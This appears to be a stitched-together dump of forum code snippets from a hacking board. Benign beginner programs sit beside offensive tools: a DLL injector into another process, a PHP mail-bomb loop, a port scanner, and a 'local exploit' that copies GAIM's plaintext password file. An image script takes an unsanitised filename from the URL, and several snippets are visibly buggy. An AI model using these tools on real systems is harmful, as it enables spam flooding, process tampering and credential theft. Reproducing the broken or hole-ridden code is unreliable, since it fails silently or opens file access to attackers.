#include <stdio.h>
#define CHAR_BIT 8
#define BITMASK(b) (1 << ((b) % CHAR_BIT))
#define BITSLOT(b) ((b) / CHAR_BIT)
#define BITSET(a, b) ((a)[BITSLOT(b)] |= BITMASK(b))
#define BITTEST(a, b) ((a)[BITSLOT(b)] & BITMASK(b))
// Returns the length of the base64 string
int base64_encode(unsigned char str[], unsigned char base64[], int len)
{
int idx=0,idx2=0,base64_chars=0;
unsigned char charset[]={"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"},t=0;
// Initialize the base64 array
memset(base64,0,(len+1) * 1.334);
// Continue converting while the bit limit for the str array has not been reached
while (idx < len * CHAR_BIT) {
// Pick off bits in chunks of 6
for (idx2=0; idx2 < 6; idx++,idx2++) {
if (BITTEST(str,idx))
BITSET(&t,idx2);
}
// Map the binary value to its ASCII representation
t = charset[t];
// Save the new converted char to the base64 array, increment the base64 len counter,
// and re-initialize the temp var
base64[base64_chars] = t;
base64_chars++;
t = 0;
}
// Return the number of Base64 characters that were used
return(base64_chars);
}
// Returns the length of the plain text string
int base64_decode(unsigned char base64_t[], unsigned char str[], int len)
{
int idx=0,idx2=0,idx3,str_chars=0;
unsigned char charset[]={"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"},t=0,base64[1000];
// Initialize the str array
memset(str,0,(len+1) * .75);
// Un-map the ASCII characters to their binary representations
for (idx=0; idx < len; idx++) {
for (idx3=0; 1; idx3++) {
if (charset[idx3] == base64_t[idx]) {
base64[idx] = idx3;
break;
}
}
}
// Combine the significant 6-bit blocks from each byes of the base64 array
for (idx=0,idx2=0; idx < len * CHAR_BIT; idx++,idx2++) {
// Skip two "lame" bits ever six
if (!(idx2 % 6) && idx2)
idx += 2;
// Log how many full 8-bit chars have been filled
if (!(idx2 % 8) && idx2)
str_chars++;
if (BITTEST(base64,idx))
BITSET(str,idx2);
}
// Return the length of the text array
return(str_chars);
}
int main()
{
unsigned char str[100]={"sadfymkf7 6756"},base[100],t;
t = base64_encode(str,base,strlen(str));
printf("\n");
t = base64_decode(base,str,t);
getchar();
}
#include <iostream>
#include <windows.h>
using namespace::std;
int Inject(HWND hwnd, char *name);
int main()
{
char dll[]="c:/tt.dll";//change the name to your dll
HWND hw=0;
hw = FindWindow("Notepad",NULL);//change the "Notepad" to your window name
if(!hw)
{
cout<<"Unable find window"<<endl;
return 0;
}
if(Inject(hw,dll))
{
cout<<"DLL has injected into the process successfully"<<endl;
}
else
{
cout<<"Couldn't inject DLL into process"<<endl;
}
return 0;
}
int Inject(HWND hwnd,char *name)
{
DWORD Pid;
HANDLE hProcess,hThread;
DWORD BytesWritten;
LPVOID mem;
GetWindowThreadProcessId(hwnd, &Pid);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
if(!hProcess)
return 0;
mem = VirtualAllocEx(hProcess, NULL, strlen(name), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
if(mem==NULL)
{
CloseHandle(hProcess);
return 0;
}
if(WriteProcessMemory(hProcess, mem, (LPVOID)name, strlen(name), &BytesWritten))
{
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("KERNEL32.DLL"), "LoadLibraryA"), mem, 0, NULL);
if(!hThread)
{
VirtualFreeEx(hProcess,NULL,strlen(name),MEM_RESERVE|MEM_COMMIT);
CloseHandle(hProcess);
return 0;
}
VirtualFreeEx(hProcess,NULL,strlen(name),MEM_RESERVE|MEM_COMMIT);
CloseHandle(hThread);
CloseHandle(hProcess);
return 1;
}
VirtualFreeEx(hProcess,NULL,strlen(name),MEM_RESERVE|MEM_COMMIT);
CloseHandle(hProcess);
return 0;
}
#!/usr/bin/perl
use IO::Socket;
if(@ARGV<1)
{
usage();
}
my $sock = new IO::Socket::INET (
PeerAddr => $ARGV[0],
PeerPort => 80,
Proto => 'tcp',
)or die "Couldn't connect the host";
print $sock "HEAD / HTTP/1.0\n\n";
while ($line=<$sock>)
{
if($line =~/^Server/)
{
@arr=split("Server: ", $line);
print"\r\n$ARGV[0] runs $arr[1]";
exit(1);
}
}
close($sock);
sub usage
{
print"HTTP Server Checker version 1.0\n";
print"Coded by squall\n";
print"usage: <host name>";
exit(0);
}
use IO::Socket;
if(@ARGV<1){print"usage: $0 <host name>";exit;}
my $s=new IO::Socket::INET(PeerAddr=>$ARGV[0],PeerPort=>80,Proto=>tcp) or die"failed to connect to host";
print $s "HEAD / HTTP/1.0\n\n";
$_=join('',<$s>);
print"Server:",/Server:(.*)/,"\n";
B-Con wrote:Language: C
Purpose: Applies the traditional ROT-13 cypher to a string of provided text. It's a very simple concept, and once you get it you usually want to smack yourself upside the head. I wrote this after viewing this code on koders.com and being ticked off as to how bloated some people like to make their code. This is almost as compact as you can make the algorithm.
/* NOTE: Only works in charsets where letters are stored adjacently and in alphabetical order (e.g ASCII). */
#include <ctype.h>
#include <stdio.h>
int
main(void)
{
char text[1000];
printf("Input string: ");
fgets(text, 1000, stdin);
for (int i = 0; text[i] != '\0'; i++) {
if (islower(text[i]))
text[i] = (text[i] - 'a' + 13) % 26 + 'a';
if (isupper(text[i]))
text[i] = (text[i] - 'A' + 13) % 26 + 'A';
}
printf("ROT13'd: %s", text);
return 0;
}#include <stdio.h>
#include <stdlib.h>
#ifdef WIN32
#include <Winsock.h>
#include <Windows.h>
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
int main(int argc, char*argv[]) {
#ifdef WIN32
WORD werd;
WSADATA wsd;
werd= MAKEWORD(2,0);
WSAStartup(werd,&wsd);
#endif
char *host = argv[1];
int i;
struct sockaddr_in sin;
struct hostent *hostname;
hostname = gethostbyname(host);
int sock;
if(argc!=2) { fprintf(stderr, "\nUsage Error\n\nUsage: %s <\"ip\" [you can not use a hostname] to scan>\n\n", __FILE__); return 1; }
memset(&sin, 0x0, sizeof(sin));
sin.sin_family = AF_INET;
memcpy(&sin.sin_addr.s_addr, hostname->h_addr, sizeof(struct in_addr));
printf("\nScanning ...\n");
for(i=1; i<=1000; ++i) {
sock = socket(AF_INET, SOCK_STREAM, 0);
sin.sin_port = htons(i);
if(!connect(sock, (struct sockaddr *)&sin, sizeof(sin))) printf("\nFound open port: %d\n", i);
close(sock);}
printf("\nScan complete.\n\n");
return 0; }
#!/usr/bin/php
<?php
for($i=0; $i<=$argv[3]; ++$i) mail("$argv[4]", "$argv[1]", "$argv[2]", "From: $argv[5]");
?>#include <stdio.h>
void sintax(char *program);
void success();
void error();
int main(int argc, char *argv[]) {
FILE *hosts;
int i;
if(argc < 3) { sintax(argv[0]); return 1; }
#ifdef WIN32
hosts = fopen("\\windows\\system32\\etc\\hosts", "a");
#else /* This program is only made to the Linux and Windows architectures, so, if you are using another OS, please reprogram this program to be compatible to your architecture */
hosts = fopen("/etc/hosts", "a");
#endif
if(hosts == NULL) { error(); return 1; }
for(i = 1; i < argc; ++i) fprintf(hosts, "%s \t", argv[i]);
fputc('\n', hosts);
fclose(hosts);
success();
return 0;
}
void sintax(char *program) {
printf("\nSyntax error, syntax of the program:\n\n%s <ip> [other ips the hostname might have (opcional)] <hostname> [other hostnames the ips might have (opcional)]\n\n", program);
}
void error() {
printf("\nCouldn't open the hosts file, please be sure that you are root.\n\n");
}
void success() {
printf("\nThe Hosts file was succefuly updated, to apply these changes, please restart your computer.\n\n");
}
/* The cat replacement!
* Moddy - I have never been more bored then when I decided to do this...
* For use as a simple teaching aid about file i/o and
* linux syscalls
*
* C:\Documents and Settings\Moddy\Desktop>cat hello.txt
* Hello, World!!
* C:\Documents and Settings\Moddy\Desktop>
*
*/
#include <iostream>
#include <fstream>
#include <string.h>
int main(int argc, char *argv[])
{
char path[125];
char mybitch;
int a;
/*
* This is just to check that the input isnt larger
* then the space we have allocated for it. If it was
* it would be able to overflow. Thus cuasing a buffer
* overflow.
*/
if( (strlen(argv[1]) < 125 ) || ( strlen(argv[1]) == 125 ) )
{
strcpy(path, argv[1]);
}
else if( strlen(argv[1]) > 125 )
{
cout << "The path you have inputted is to long.\n";
cout << "The max path length is 255 characters long.\n";
cout << "The path you have given is " << strlen(argv[1]) << "characters long.\n";
cout << "Please shorten the path by ";
a = strlen(argv[1]) - 255;
cout << a << "characters.\n";
exit(0);
}
/*
* Declares our file and implements a degree of error checking...
*/
ifstream in(path);
if(!in)
{
cout << "The file couldn't be opened!\n";
exit(0);
}
/*
* Uses a loop to "loop" through the characters
* and print them to the screen...
*/
while(!in.eof())
{
in.get(mybitch);
cout << mybitch;
}
/*
* Lets close the file...
*/
in.close();
return 0;
}
//fart_tune - random quote server
//coded for windows and compiled with Microsoft Visual C++ (no flames pls ;))
#include <windows.h>
#include <winsock.h>
#include <stdlib.h>
#include <time.h>
//winapi entry point
int WINAPI WinMain(HINSTANCE hinstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
//declare a 2 dimensional char array (an array of strings) with the quotes to be used
//it supports up two 512 quotes of up to 1024 chars each
//note to prism: yes, the next version will read the quotes from a text file ;)
char quotes[512][1024]={
"I hate oneliners...\n\r -Mephisto",
"The key to life is honesty... if you can fake it, you win\n\r -Mephisto",
"So if i\'m quoting myself, does that mean i\'m being original?\n\r -Mephisto",
"This server is sponsored by tax evasion\n\r -Mephisto",
"1 h473 1337\n\r -Mephisto",
"User was distributing pornography on server; system seized by FBI.\n\r -BOFH excuse calendar entry #137",
"new management\n\r -BOFH excuse calendar entry #130",
"SCSI Chain overterminated\n\r -BOFH excuse calendar entry #132",
"because of network lag due to too many people playing deathmatch\n\r -BOFH excuse calendar entry #134",
"Daemons loose in system.\n\r -BOFH excuse calendar entry #136",
//10
"You put the disk in upside down.\n\r -BOFH excuse calendar entry #135",
"the router thinks its a printer.\n\r -BOFH excuse calendar entry #118",
"The salesman drove over the CPU board.\n\r -BOFH excuse calendar entry #111",
"Sticky bits on disk.\n\r -BOFH excuse calendar entry #127",
"Small animal kamikaze attack on power supplies\n\r -BOFH excuse calendar entry #97",
----------------------------left out some of the quotes-----------------
//310
"The better you do your job, the more likely you are to be shot, injured, complained on, sued, investigated, or subpoenaed on your day off.\n\r -Murphys Cop Laws",
"If a large group of drunk bikers is \"holed-up\" in a house, the Department will send one officer in a beat car. If there is one biker \"holed-up\" in a house, they will send the entire S. W. A. T. Team.\n\r -Murphys Cop Laws",
"The likelihood that you are speaking to an undercover law enforcement officer, is directly proportional to the number of personal questions being asked of you.\n\r -Murphys Cop Laws",
"Dogs do not see the badge as a person of authority, they see lunch.\n\r -Murphys Cop Laws",
"Laser sights work both ways\n\r -Murphys Cop Laws",
"Cops arrive late to the scene of crime.\n\r -Murphys Cop Laws",
"The number of years on the job is directly proportional to your waist line.\n\r -Murphys Cop Laws",
"They should have just called it \"Windows 64bit Super Ultra XXP v2.0 DirectXYZ with Uber ActiveX HT Kernel Technology\" or something, in fact, I\'m suprised they didn\'t.\n\r -Life(hackerthreads.org)",
""
};
//the usual winsock stuff
SOCKADDR_IN saServer, saClient;
WSADATA wsda;
SOCKET sServer, sClient;
int len, check;
//start winsock 1.1
WSAStartup(MAKEWORD(1,1), &wsda);
//create socket
sServer=socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if(sServer==SOCKET_ERROR)
{
MessageBox(NULL, "Error creating socket, exiting...", "Fart_Tune server", MB_ICONERROR);
return 0;
}
//bind socket to any local network address at port 101 (lol)
saServer.sin_addr.s_addr=INADDR_ANY;
saServer.sin_family=AF_INET;
saServer.sin_port=htons(101);
check=bind(sServer, (struct sockaddr *)&saServer, sizeof(saServer));
if(check==SOCKET_ERROR)
{
MessageBox(NULL, "Error binding socket, exiting...", "Fart_Tune server", MB_ICONERROR);
return 0;
}
MessageBox(NULL, "Daemon started", "Fart_Tune server", NULL);
//put socket in server mode
listen(sServer, 10);
len=sizeof(saClient);
//use timer to set random starting point
srand((unsigned int) time( NULL ));
//start server loop
while(1)
{
//accept new connections
sClient=accept(sServer, (struct sockaddr *)&saClient, &len);
if(sClient==SOCKET_ERROR)
break;
{
int i;
//generate random number within the scope of the quotes variable
i=rand() % 317;
//send header
send(sClient, "Fart-Tune server - by Mephisto\n\r------------------------------\n\r", 64, 0);
//send quote
send(sClient, quotes[i], 1024, 0);
closesocket(sClient);
}
}
return 0;
}
squall- wrote:why don't you store the quotes in text file?
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
int main(int argc, char **argv)
{
// Handle for the process snap.
HANDLE hProcessSnap;
// A struct containing info on the process snape.
// This is where we get the name and PID of the process
PROCESSENTRY32 peStruct;
// Take a snapshot of all processes running.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
// Let's make sure that the snapshot is valid, and the function didn't fail.
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("\n\nError creating snapshot of processes.\n\n");
return 0;
}
// We need to set the size of the struct before we use it.
peStruct.dwSize = sizeof(PROCESSENTRY32);
// Get info about the first process and make sure it won't F*** up.
if(Process32First(hProcessSnap, &peStruct) == FALSE)
{
printf("\n\nError calling Process32First.\n\n");
CloseHandle(hProcessSnap);
return 0;
}
// Open a file for writing.
FILE *out = fopen("processlisting.txt", "w+");
// Print the 'title'.
fprintf(out, "%17s - PID\n", "Process name");
fprintf(out, "--------------------------------\n");
// Loop through the process list, outputting name and PID of each process to the file each turn.
// We use do-while loop to ensure that the first process also gets printed.
do
{
fprintf(out, "%17s - %d\n", peStruct.szExeFile, peStruct.th32ProcessID);
}
while(Process32Next(hProcessSnap, &peStruct));
// Close file and the handle.
fclose(out);
CloseHandle(hProcessSnap);
printf("\n\nProcess list stored in processlisting.txt\n\n");
return 0;
}
#include <stdio.h>
#include <windows.h>
int main(int argc, char **argv)
{
if(argc < 2)
{
printf("\n\nUsage: killprocess [PID]\n\n");
return 0;
}
DWORD dwPID = atoi(argv[1]);
// Open the process with privileges that let us terminate it.
HANDLE pHandle = OpenProcess(PROCESS_TERMINATE, FALSE, dwPID);
// Poon the process, or try.
if(TerminateProcess(pHandle, 0) != 0)
printf("\n\nProcess terminated successfully.\n\n");
else
printf("\n\nUnable to terminate process.\n\n");
// Close the handle.
CloseHandle(pHandle);
return 0;
} while( flamingPeople(ON_INTERNET) )
{
ePenis++;
}This is what Gaim does: the password is in accounts.xml in plain text, but the file itself is only readable by its owner. We allow the user to determine under what conditions sensitive files should be opened (if at all), and what constitutes a breach of security.
/*
* GAIM "accounts.xml" local exploit for Linux
* Tested on: GAIM 1.1.2
* Works with: All versions
* written by: NoUse
* http://www.anomalous-security.org
*
*/
#include <stdio.h>
#include <unistd.h>
#include <pwd.h>
#define MAXPATHLEN 56
int main(int argc, char **argv)
{
FILE *gaim_xml, *output;
int temp;
char gaim[MAXPATHLEN], cwd_buffer[MAXPATHLEN];
char *cwd_pointer;
struct passwd *home = getpwuid(getuid());
sprintf(gaim, "%s/.gaim/accounts.xml", home->pw_dir);
gaim_xml = fopen(gaim, "r");
if(gaim_xml == NULL){
printf("\nError opening gaim account file. Exiting...\n");
return -1;
}
output = fopen("output.log", "w+");
if(output == NULL){
printf("\nError opening log file. Exiting...\n");
return -1;
}
while(temp != EOF){
temp = fgetc(gaim_xml);
putc(temp, output);
}
fclose(gaim_xml);
fclose(output);
cwd_pointer = getcwd(cwd_buffer, MAXPATHLEN);
printf("\nSuccess! Log file can be found in %s/output.log\n\n", cwd_pointer);
return 0;
}<?php
/*****************************************************************************************************
Image Autocopyright Script
Useage: index.php?filename=%image_file%
Examples: Image w/ copyright: http://images.shamrockman.net/index.php?filename=dis/DPP_18.JPG
Image w/o copyright: http://images.shamrockman.net/dis/DPP_18.JPG
Dont forget to deny access to the target folder.
******************************************************************************************************
if you wanted to make this script transparent to the end user, use this .htaccess file (jpg only):
Options +FollowSymlinks
rewriteengine on
rewriterule ^(.*)\.jpg$ /?filename=$1.jpg [r=301,nc]
then images.shamrockman.net/dis/DPP_18.JPG would still return the image with the copyright info.
*/
$copyright_str="(c) ShamrockMan.Net"; //Copyright string to display in lower righthand corner of picture
$img_dir=""; //path to your image directory
$color_r=90; //amount of Red to use for the copyright notice
$color_g=160; //Green
$color_b=90; //Blue
$color_a=40; //Transparency amount for the box around the text
$file_name=$img_dir . $_GET['filename'];//Process the URL
//Check to see if the extension is the wrong case (some servers are picky)
$file_array = explode(".", $file_name);
$file_ext = array_pop($file_array);
$file_name = implode(".", $file_array);
if(is_file($file_name . strtoupper($file_ext))){
$file_name=$file_name . "." . strtoupper($file_ext);
}else{
$file_name=$file_name . "." . strtolower($file_ext);
}
$img = @imagecreatefromjpeg( $file_name);
if (!$img) {
if(is_file("./bad_url.jpg")){
$img = @imagecreatefromjpeg("./bad_url.jpg");
if(is_file($file_name)){
$bgc = imagecolorallocate($img, 255, 255, 255);
$tc = imagecolorallocate($img, 0, 0, 0);
imagestring($img, 1, 0, imagesy($img)-14, $file_name . " was not found", $tc);
}else{
$bgc = imagecolorallocate($img, 255, 255, 255);
$tc = imagecolorallocate($img, 0, 0, 0);
imagestring($img, 1, 0, imagesy($img)-14, "Unknown error.", $tc);
}
}
if(!img){ $img = imagecreate(200, 30);
$bgc = imagecolorallocate($img, 255, 255, 255);
$tc = imagecolorallocate($img, 0, 0, 0);
imagestring($img, 1, 5, 360, "Error loading image.", $tc);
}
}else{
imagefilledrectangle ($img, 0, imagesy($img)-14, 134, imagesy($img), imagecolorallocatealpha ($img, 0, 0, 0,$color_a));
imagestring($img, 3, 0, imagesy($img)-14, $copyright_str, imagecolorallocate($img, $color_r, $color_g, $color_b));
}
header("Content-type: image/jpeg");
imagejpeg($img);
imagedestroy($img);
?>/* Rodrigo.Toste.Gomes Instant Messageing Client v0.1 */
/* Tell the preprocessor to include these necessary header files in our code */
#include <stdio.h>
#include <string.h>
/* If we're running on a Windows32 platform, we need different header files from the ones in a *nix platform. */
#ifdef _WIN32
#include <Winsock.h>
#include <Windows.h>
/* Define a macro so I don't have to be doing #ifdef every time I want to close a connection */
#define close(x) closesocket(x); WSACleanup()
#endif
/* Else, if we're on a *nix platform, probably the BSD sockets files exist, I hope, else this program won't work */
#ifdef __unix__
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
int main(int argc, char *argv[]) {
/* Startup WSA, required, if we're on a Windows platform */
#ifdef _WIN32
WSADATA wsa;
WORD word;
word = MAKEWORD(2, 0);
if(WSAStartup(word, &wsa) < 0) {
printf("WSAStartup() failed for some reason, extensive error checking will be included in newer versions of this program.\nThe most probable reason for is that you have an older version of Winsock; required version: 2.0\n");
return 1; }
#endif
/* Set the variables */
fd_set input;
/* A file descriptor set (fd_set): it contains file descriptors that can later be used on select() to check if some has data in it */
FD_ZERO(&input);
/* "blanc" the fd_set */
int sock;
/* Declare the socket file descriptor */
struct sockaddr_in sin;
/* Declare a struct sockaddr_in, that will contain the family (in host byte order, because it's the kernel that will be handling it), the destination ip address, and the port to be used (in Network byte orer, because it's the work of the modem to handle it) */
char message[10000];
/* The string in wich the messages sent or received will be stored */
char *host = argv[1];
/* The string with the host domain/ip */
struct hostent *hostname;
/* In case if the the argument passed isn't in an ip form (or it is), a pointer to a struct hostent is used, because the function in charge of resolving the hostname returns a struct hostent pointer. */
int port;
/* Declare the variable wich will carry the port number */
if(argc != 3) {
/* Syntax checking */
printf("Usage: %s <hostname/ip> <port>\n", (argv[0]));
return 1; }
memset(message, 0x0, sizeof(message));
/* Set the whole string that will hold the message to 0, some times, there might be something in memory */
memset(&sin, 0x0, sizeof(sin));
/* Do the same thing for sin (the struct sockaddr_in declared earlier) */
port = atoi(argv[2]);
if(!port
/* if the variable port represents 0, it means that the argument passed to the program that was supposed to be a number is a string or that it's value is 0 */) { printf("The argument passed must be a number, and it can't be 0."); return 1; }
/* Set the family, the port (passed as an argument) and the ip to the aproptiate places of sin */
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
hostname = gethostbyname(host);
/* Get the hostname, be it ip or not */
if(hostname == NULL) { printf("gethostbyname() failed\n"); return 1; }
/* If it fails, terminate the program */
memcpy(&sin.sin_addr.s_addr, hostname->h_addr, sizeof(struct in_addr));
/* If no error happens, copy the ip (in Network byte order) to sin.sin_addr.s_addr (the place of the ip) */
sock = socket(AF_INET, SOCK_STREAM, 0);
/* Start the socket */
if(sock < 0) { printf("socket() failed\n"); return 1; }
/*Check to see if no error happened */
if(connect(sock, (struct sockaddr *)&sin, sizeof(sin))) { printf("connect() failed\n"); return 1; }
/* Connect to the specified ip and port */
while(1) {
FD_SET(sock, &input);
FD_SET(0, &input);
/* Add the standard input file descriptor (0) and the socket file descriptor to the fd_set */
select(sock+1, &input, NULL, NULL, NULL);
/* It will put in the fd_set the file descriptor that has data in it */
if(FD_ISSET(0, &input)) {
/* If 0 (stdin) is in the fd_set, it means there's data on stdin */
fgets(message, 10000, stdin);
/* Get the string and save it on message */
if(send(sock, message, strlen(message), 0) < 0) { printf("send() failed, the server might be down.\n"); close(sock); return 1; }
/* send the message, and, if it fails, it closes the connection */
if(!strcmp(message, "stops\n")) { printf("stops sent, closing connection.\n"); close(sock); printf("Connection closed.\n");
return 0; }
/* If the message is stops (stops server), the client will close connection */
memset(message, 0x0, 10000);
/* Set the whole message variable to 0, so we don't send any extra characters the next time */ }
else if(FD_ISSET(sock, &input)) { /* Else, if the socket file descriptor has data ... */
if(recv(sock, message, 10000, 0) < 0) { printf("recv() failed, the server might be down.\n"); close(sock); return 1; }
/* Receive the data and check to see if no error happened */
if(!strcmp("stops\n", message)) {
/* If the message received is stops (stop server), close all the connections and terminate */
printf("stops received, closing connection.\n"); close(sock); printf("Connection closed.\n"); return 0; }
printf("%s", message);
/* If nothing happens until this step, the message is printed to the screen */
memset(message, 0x0, 10000);
/* Set the whole message variable to zero, so that no extra characters stay in memory */ } } }
/* Rodrigo.Toste.Gomes Instant Messaging Server v0.1 */
/* Telling the preprocessor to include these necessary header files in our program, I apologize the Windows users with different versions of WIN32 (older or newer), but this program won't work on their OS'es. This is compatible with *nix, though. */
#include <stdio.h>
#include <string.h>
/* Testing with #ifdef to know what is the platform, to include the correct header files. If _WIN32 is defined, we're in a Windows32 platform, so we must include Winsock.h and Windows.h. */
#ifdef _WIN32
#include <Winsock.h>
#include <Windows.h>
/* Define a macro, so we don't have to make "#ifdef" each time to when we need to end the connection. */
#define close(x) closesocket(x); WSACleanup()
/* Link the program to the ws2_32.lib library, the Winsock2 library. */
#pragma comment(lib, "ws2_32.lib")
#endif
/* Else, we're on an Unix based platform, wich, I hope, will have the BSD sockets header files. */
#ifdef __unix__
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
/* Terminate the program in case of another */
#else
int main() {
printf("Program is incompatible with you OS, shutting down");
return 1; }
#endif
/* another macro, prepared to close connections with clients, so we don't Cleanup the WSA each time, and can continue the network operations on Windows */
#define closecli(x) close(x)
int main(int argc, char *argv[]) {
/* If we're on Windows, we need to initialize WSA to be able to use sockets. */
#ifdef _WIN32
WSADATA wsa;
WORD word;
word = MAKEWORD(2, 0);
if(WSAStartup(word, &wsa) < 0) {
/* Initializing WSA, and checking if there are no errors, this is necessary if we're running Windows. */
printf("For some reason WSAStartup() failed (detailed error checking coming on newer versions), the most probable version is that you have an older version of WSA (the one required: 2.0).\n");
return 1; }
#endif
/* Setting the variables */
fd_set input;
/* This is a file descriptor set, it will be used by select() to check if there's something on a file descriptor, waiting to be received.
* This will be used to check in the sockets */
FD_ZERO(&input);
/* "blanc" the fd_set */
int bigger;
/* A parameter to select() is the size of the biggest file descriptor +1, this will have that value, because we use more than one file
* descriptor */
struct sockaddr_in sin;
/* define a structure sockaddr_in that will contain the Address family (so the kernel knows where to send the packets, that's why it doesn't needs to be in Network Byte Order), the port number and the destination ip address (both of these are for the modem/router, so they have to be in Network Byte Order) */
int sock = socket(AF_INET, SOCK_STREAM, 0);
/* Declaring and initializing the main socket (the one listening for connections) */
int sock_client;
int sock_client2;
/* Declaring the two client sockets */
int port;
/* Declaring the variable that will contain the port number */
char message[10000];
/* Declaring the message that will be sent to the clients (and also received) */
if(argc != 2) { printf("Usage: %s <port>\n", (argv[0])); return 1; }
/* Syntax checking */
if(sock < 0) { printf("socket() failed.\n"); return 1; }
/* If the socket wasn't well initialized, print to standard error that socket() failed and stop the program */
memset(&sin, 0x0, sizeof(sin));
/* Setting the whole struct sockaddr_in to 0 */
memset(message, 0x0, 100);
/* The same thing for the message */
port = atoi(argv[1]);
if(!port
/* if the variable port represents 0, it means that the argument passed to the program that was supposed to be a number is a
* string or that it's value is 0 */) { printf("The argument passed must be a number, and it can't be 0."); return 1; }
sin.sin_family = AF_INET;
sin.sin_port = htons(port); /* htons = host to network long; atoi = ascii to int; argv[1] */
sin.sin_addr.s_addr = INADDR_ANY;
/* Declaring the family, port and destination address for the struct sockaddr_in. In this case we declared as the family AF_INET (the internet family), the port as the one passed as an argument and the address as INADDR_ANY, to cover all the interfaces (loopback, internet, LAN, ...) */
if(bind(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) { printf("bind() failed\n"); close(sock); return 1; }
/* bind the socket to the port and address specified in sin, and see if it doesn't return any error */
if(listen(sock, 2) < 0) { printf("listen() failed\n"); close(sock); return 1; }
/* Start listening in the port, if this was an UDP socket, it wouldn't need to listen, but this is a TCP socket. */
sock_client = accept(sock, NULL, NULL);
if(sock_client < 0) { printf("accept() failed\n"); close(sock); return 1; }
sock_client2 = accept(sock, NULL, NULL);
if(sock_client2 < 0) { printf("accept() failed\n"); close(sock); close(sock_client); return 1; }
/* The first two connections are supposed to be the people who want to talk, so we accept the connection and attribute them the two client sockets declared earlier */
while(1) {
FD_SET(sock_client2, &input);
FD_SET(sock_client, &input);
/* Add the client sockets file descriptors to the fd_set input. */
if(sock_client > sock_client2) bigger = sock_client;
else bigger = sock_client2;
/* Find out the file descriptor with the biggest value and pass it to the variable bigger */
select(bigger+1, &input, NULL, NULL, NULL); /* add to the fd_set the file descriptor value that is has some info */
if(FD_ISSET(sock_client, &input)) { /* If the first client to connect has sended some message ... */
if(recv(sock_client, message, 10000, 0) < 0) { /* receive the data */
printf("recv() failed, closing connection.\n"); /* There was an error, close the connection with the clients */
strcpy("stops", message);
if(send(sock_client, message, strlen(message), 0) < 0)
/* Send the message "stops" to the client, wich (at least the ones I did) should interpret it and close the connection , if it receives it */
printf("send() also failed, closing connection to the first client.\n");
/* If it fails, simply close it */
/* The same thing with the second client */
if(send(sock_client2, message, strlen(message), 0) < 0)
printf("send() also failed, closing connection to the second client.\n");
else printf("send() successful, closing connection.\n");
closecli(sock_client); closecli(sock_client2);
printf("Connection closed\n");
close(sock);
return 1; }
/* This is/was biggest error checking I ever made */
if(!strcmp(message, "stops\n")) {
/* If the message received is "stops" (stop server), stop the server */
printf("stops received, closing connection ...\n");
closecli(sock_client);
/* Close the connection with the first client */
if(send(sock_client2, message, strlen(message), 0) < 0)
/* Send stops to the second client, the clients I made, should interpret it, and close the connection */
printf("send() failed, closing connection with the second client\n");
closecli(sock_client2);
close(sock);
printf("Connection closed\n");
return 0; }
if(send(sock_client2, message, strlen(message), 0) < 0) {
/* Kind of the same thing I did to the recv() function */
printf("send() failed, closing connection with the second and first client.\n");
closecli(sock_client2);
strcpy("stops", message);
if(send(sock_client, message, strlen(message), 0) < 0)
printf("send() also failed with the first client, closing connection.\n");
closecli(sock_client);
close(sock);
return 1; }
memset(message, 0x0, 10000); }
/* Setting the whole message variable to make sure no extra character is sent to the clients */
else if(FD_ISSET(sock_client2, &input)) {
/* If it's the second client sending data, do the same thing done to the first client, only in "client reverse order" */
if(recv(sock_client2, message, 10000, 0) < 0) {
printf("recv() failed, safely closing connection.\n");
strcpy("stops", message);
if(send(sock_client, message, strlen(message), 0) < 0)
printf("send() also failed, unsafely closing connection to the first client.\n");
if(send(sock_client2, message, strlen(message), 0) < 0)
printf("send() also failed, unsafely closing connection to the second client.\n");
else printf("send() successful, closing connection.\n");
closecli(sock_client); closecli(sock_client2);
printf("Connection closed\n");
close(sock);
return 1; }
if(!strcmp(message, "stops\n")) {
printf("stops received, closing connection ...\n");
closecli(sock_client2);
if(send(sock_client, message, strlen(message), 0) < 0)
printf("send() failed, unsafely closing connection with the first client");
closecli(sock_client);
close(sock);
printf("Connection closed\n");
return 0; }
if(send(sock_client, message, strlen(message), 0) < 0) {
printf("send() failed, closing connection unsafely with the first cilent and trying to close connection safely with second client.\n");
closecli(sock_client);
strcpy("stops", message);
if(send(sock_client2, message, strlen(message), 0) < 0)
printf("send() also failed with the second client, unsafely closing connection.\n");
closecli(sock_client2);
close(sock);
printf("Connection closed\n");
return 1; }
memset(message, 0x0, 10000); } } }
<html>
<head>
<title>Not a shoutbox... not a guestbook... a shoutbook!</title>
<style type="text/css">
body {
font-size: 10px;
font-family: Helvetica, Tahoma, Verdana, sans-serif;
}
#name:link, #name:active, #name:visited {
color: #000;
}
#name:hover {
text-decoration: none;
color: #cc0000;
}
#box {
margin: auto;
width: 50%;
padding: 3px;
background-color: #ccc;
border: 1px solid #000;
color: #000;
font-size: 10px;
font-family: Helvetica, Tahoma, Verdana, sans-serif;
}
#pform {
border: 1px solid #000;
margin-top: -1px;
}
</style>
</head>
<body>
<?php include "functions.php" ?>
I haven't really done much in PHP before other than simple scripts, so I thought 'hey, I'll code a shoutbox/guestbook thingy!' I couldn't figure out whether this would be a shoutbox or a guestbook, hence the lame 'shoutbook' pun. I'll post code at BU when I'm done. <br><br>
<div id="box">
<center><b>Shoutbook</b></center><br>
<?php display() ?>
</div>
<br>
<center><div id="box">
<center><b>Post Message</b></center><br>
<form action="post.php" method="POST">
<input type="text" name="name" value="Name" id="pform"><br>
